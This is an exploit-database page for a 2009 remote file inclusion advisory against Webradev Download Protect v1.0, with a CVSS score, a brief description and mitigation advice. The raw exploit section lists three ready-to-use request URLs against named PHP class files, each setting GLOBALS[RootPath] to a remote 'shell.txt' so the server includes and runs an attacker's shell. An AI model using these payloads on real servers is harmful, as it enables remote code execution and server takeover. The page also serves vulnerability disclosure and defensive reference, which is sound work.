header-logo
Suggest Exploit
vendor:
Download Protect
by:
asL-Sabia
9,3
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: Download Protect
Affected Version From: Webradev Download Protect v1.0
Affected Version To: Webradev Download Protect v1.0
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Webradev Download Protect v1.0 Remote File Inclusion

Webradev Download Protect v1.0 is vulnerable to a remote file inclusion vulnerability. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This can allow the attacker to execute arbitrary code on the vulnerable server.

Mitigation:

The best way to mitigate this vulnerability is to ensure that user input is properly sanitized and validated before being used in any file operations.
Source

Exploit-DB raw data:

#########################################################
#
#    Webradev Download Protect v1.0  Remote File Inclusion
#     
#========================================================
#    Author : asL-Sabia                       =
#                                                        =
#    Home : www.v4-Team.com         =
#                                                        =
#    email: asL-Sabia@hotmail.com     =
#                                                        =
#                                                        =
#########################################################

scripts : http://www.httpdocs.org/scripts/support-client-management-systems/326-webradev-download-protect-v1-0/


DorK    :  :)

=========================================================
:
:
:
ExploiT :
:
:
: http://host/path/includes/DProtect/Framework/EmailTemplates.class.php?GLOBALS[RootPath]=shell.txt
:
:
: http://host/path/includes/DProtect/Customers/PDPEmailReplaceConstants.class.php?GLOBALS[RootPath]=shell.txt
:
:
: http://host/path/includes/DProtect/Admin/ResellersManager.class.php?GLOBALS[RootPath]=shell.txt
:
:
---------------------------------------------------------

# milw0rm.com [2009-05-26]